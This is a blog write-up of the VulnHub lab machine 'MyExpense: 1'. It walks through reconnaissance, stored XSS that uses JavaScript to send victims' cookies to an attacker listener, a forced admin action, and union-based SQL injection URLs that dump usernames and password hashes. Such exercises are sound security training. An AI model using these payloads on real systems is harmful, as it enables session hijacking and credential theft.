Skip to main content

Command Palette

Search for a command to run...

MyExpense: 1 - XSS VulnHub Machine

Updated
8 min read
MyExpense: 1 - XSS VulnHub Machine

Machine Preparation

First, download the .ova image from source MyExpense - VulnhHub.
Then, import the image to VMware.

Changing the Network Adapter

Now, I have a NAT interface to manage machines into a subnet, like this.

We must connect thisVMnet0 with the attacker device and victim device.


Changing the Network Interface

  1. In the grub screen press key: E.


  2. Then, move down and change: ro quiet for rw init=/bin/bash and press Ctrl+x to restart the machine.


  3. We can see that the interface is incorrect. So we change it.

    Now in the attacker device, we can see the machine in our network.


  4. After we should change a few scripts, we must repeat steps 1 and 2, then, we must change each script at /opt/.


  5. Finally, restart the machine and hack!


Scenario Context

You are "Samuel Lamotte" and you have just been fired by your company "Furtura Business Informatique". Unfortunately because of your hasty departure, you did not have time to validate your expense report for your last business trip, which still amounts to 750 € corresponding to a return flight to your last customer.

Fearing that your former employer may not want to reimburse you for this expense report, you decide to hack into the internal application called "MyExpense" to manage employee expense reports.

So you are in your car, in the company carpark and connected to the internal Wi-Fi (the key has still not been changed after your departure).

The application is protected by username/password authentication and you hope that the administrator has not yet modified or deleted your access.

Your credentials were: samuel/fzghn4lw

Once the challenge is done, the flag will be displayed on the application while being connected with your (samuel) account.

We save these initial credentials.


Reconnaissance

Detecting system operative, this returns TTL=64 for Linux OS.

The IP is 192.168.200.131.

sudo arp-scan -I ens33 --localnet --ignoredups

Using a custom tool.

which whichSystem.py
whichSystem.py 192.168.200.131

Port scanning by using Nmap.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.200.131 -oG allPorts
  • -p-: All ports (65535).

  • --open: Show open ports.

  • -sS: Half-open scanning technique.

  • --min-rate 5000: min rate of sent packets is 5000.

  • -vvv: Triple verbose.

  • -n: No DNS resolution.

  • -Pn: No Host discovery, the IP sent is taken as valid or existing.

  • -oG: Output is saved as Grepable in allPorts file.


Custom scripts to extract information from the grepable output.

# to create work directories
function mkt() {
  mkdir {nmap,content,exploits}
}

# to extract information from grepable nmap output
function extractPorts() {
    ports="$(cat $1    | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"
    ip_address="$(cat $1 | grep -oP '^Host: .* \(\)' | head -n 1 | awk '{print $2}')"
    echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
    echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
    echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
    echo $ports | tr -d '\n' | xclip -sel clip
    echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
    cat extractPorts.tmp
    rm extractPorts.tmp
}

Using extractPorts to retrieve information from Nmap scan.

extractPorts allPorts

The printed ports of the above execution we paste them in Nmap like this.

sudo nmap -sCV -p80,38789,39457,40685,58593 192.168.200.131 -oN targeted
  • -sCV: Applies service scanning and executes a few scripts to recognize more data about those services.

  • -p80,38789,39457,40685,58593: Ports returned by the initial Nmap scan.

  • -oN: Output is saved as Nmapable in the targeted file (simply, as Nmap output).


Output Nmap scan.


Let's probe the initial credentials samuel/fzghn4lw.


Using brute force to find out directories by using the gobuster tool.

gobuster dir -u http://192.168.200.131/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
  • dir: Directory brute force.

  • -u: URL.

  • -w: Dictionary to be used, I use SecLists.

We found /admin/ directory.


But it seems that we need be an administrator to see the content.


Now, let's see if the website uses php into /admin/ directory by using the gobuster tool again.

gobuster dir -u http://192.168.200.131/admin -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php
  • -t 20: Apply 20 threads.

  • -x php: to find out php files into /admin/ directory.

We found /admin/admin.php file.


We can see all users of the organization and that the slamotte (Samuel) user is Inactive.


We are going to update our credts.txt file.

But trying with new credentials, the web says.


Trying User Creation

We try to create a new user to see if the web is XSS insecure, but the web says.

But, this is HTML and we could edit this code, delete disabled="" to enable Sing up! button.


Verifying XSS Vulnerability

We have injected javascript code to see if the web is XSS vulnerable, let's view if this is TRUE.


Now, any authenticated user that sees this panel will execute the injected script.

Attacking with XSS

We inject a script to retrieve a connection from anyone that sees the admin.php panel.


Now we can do a Cookie Hijacking with the next script into pwned.js. Starting a Http listener server.

sudo python3 -m http.server 80

Content of pwned.js.

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.200.128/?cookie=' + document.cookie);
request.send();

You can see that some user that sees the /admin/admin.php panel will send his cookie to us.


We use this captures cookie: h716aj84eo0ihr3e42a3tr0ij5 to see if we can hijack it.

This cookie belongs to an administrator, and this only can be used in one session.


Doing Things as Administrator

To activate an account, when we click on the active button, It sends this in the URL.

http://192.168.200.131/admin/admin.php?id=11&status=active

So we can use this GET request in our pwned.js script so the administrator activates the samuel user, just like this.

sudo python3 http.server 80

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.200.131/admin/admin.php?id=11&status=active');
request.send();

And now, the samuel user is activated.


We login in with samuel credentials now, because his account is actived. Also, we can see that a few users are chatting.


In the Expense reports, you can see that the expense value hasn't been paid.


Forcing Expense Payment

First, we send the report for our payment, this has been submitted but not approved.


Second, you can see that our manager is Manon Riviere maybe he should approve our report.


So, we must be Manon Riviere to accept our report, and we could inject another script to do a Cookie Hijacking to try to get his cookie.

sudo python3 -m http.server 4646

cookieHijacking.js

var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.200.128:4646/?cookie=' + document.cookie);
request.send();

Inject code for any user that sees the malicious code sends to us his session cookie.


Let's try out all of these cookies.


This cookie belongs to our manager and we are going to approve our expense.


Now, as samuel user, we can see that our expense has been validated, but not sent for payment.


Now, as samuel user, we can see that our expense has been validated, but not sent for payment.


Also, we can see the boss of Manon Riviere is Paul Baudouin and he is the Financial approver.


SQL Injection to Retrieve Paul Password

So, any cookie hijacked doesn't contain the Paul Baudouin user.

But this user contains a panel that sends queries to the main database, we can use this feature to retrieve user passwords.


Let's verify if the query is between*''* or not.

http://192.168.200.131/site.php?id=2'-- -


So, the query doesn't between ''.

http://192.168.200.131/site.php?id=2-- -


To retrieve the number of columns, we probe.

(this returns error)
http://192.168.200.131/site.php?id=2 order by 3-- -
(this doesn't return error)
http://192.168.200.131/site.php?id=2 order by 2-- -

Also, we can do this.

http://191.168.200.131/site.php?id=2 union select 1,2-- -


Now, we could obtain a lot of information into the database by using the following queries.

  • To see database names.

      http://192.168.200.131/site.php?id=2 union select 1,schema_name from information_schema.schemata-- -
    

  • To see tables of myexpense database.

      http://192.168.200.131/site.php?id=2 union select 1,table_name from information_schema.tables where table_schema='myexpense'-- -
    

  • To see columns of user table of myexpense database.

      http://192.168.200.131/site.php?id=2 union select 1,column_name from information_schema.columns where table_schema='myexpense' and table_name='user'-- -
    

  • To see users and passwords concatenated (assuming that myexpense database is used).

      http://192.168.200.131/site.php?id=2 union select 1,group_concat(username, 0x3a, password) from user-- -
    

Now, with all credentials retrieved, we can crack all of them, but our focus is in Paul Baudouin user.


Let's use this Hashes web to crack this hash: 64202ddd5fdea4cc5c2f856efef36e1a.

His password is HackMe 😵.


Let's log in with Paul Baudouin account and pay our expenses.


Now, we can retrieve the FLAG by logging in with samuel account.


I appreciate your time reading this write-up 😁 and I hope it has been valuable for your understanding of the topic, remember that this content does not come 100% from me. Writing this article is a way to reinforce my learning obtained from S4vitar's Hack4u courses 🔥.

More from this blog

Untitled Publication

19 posts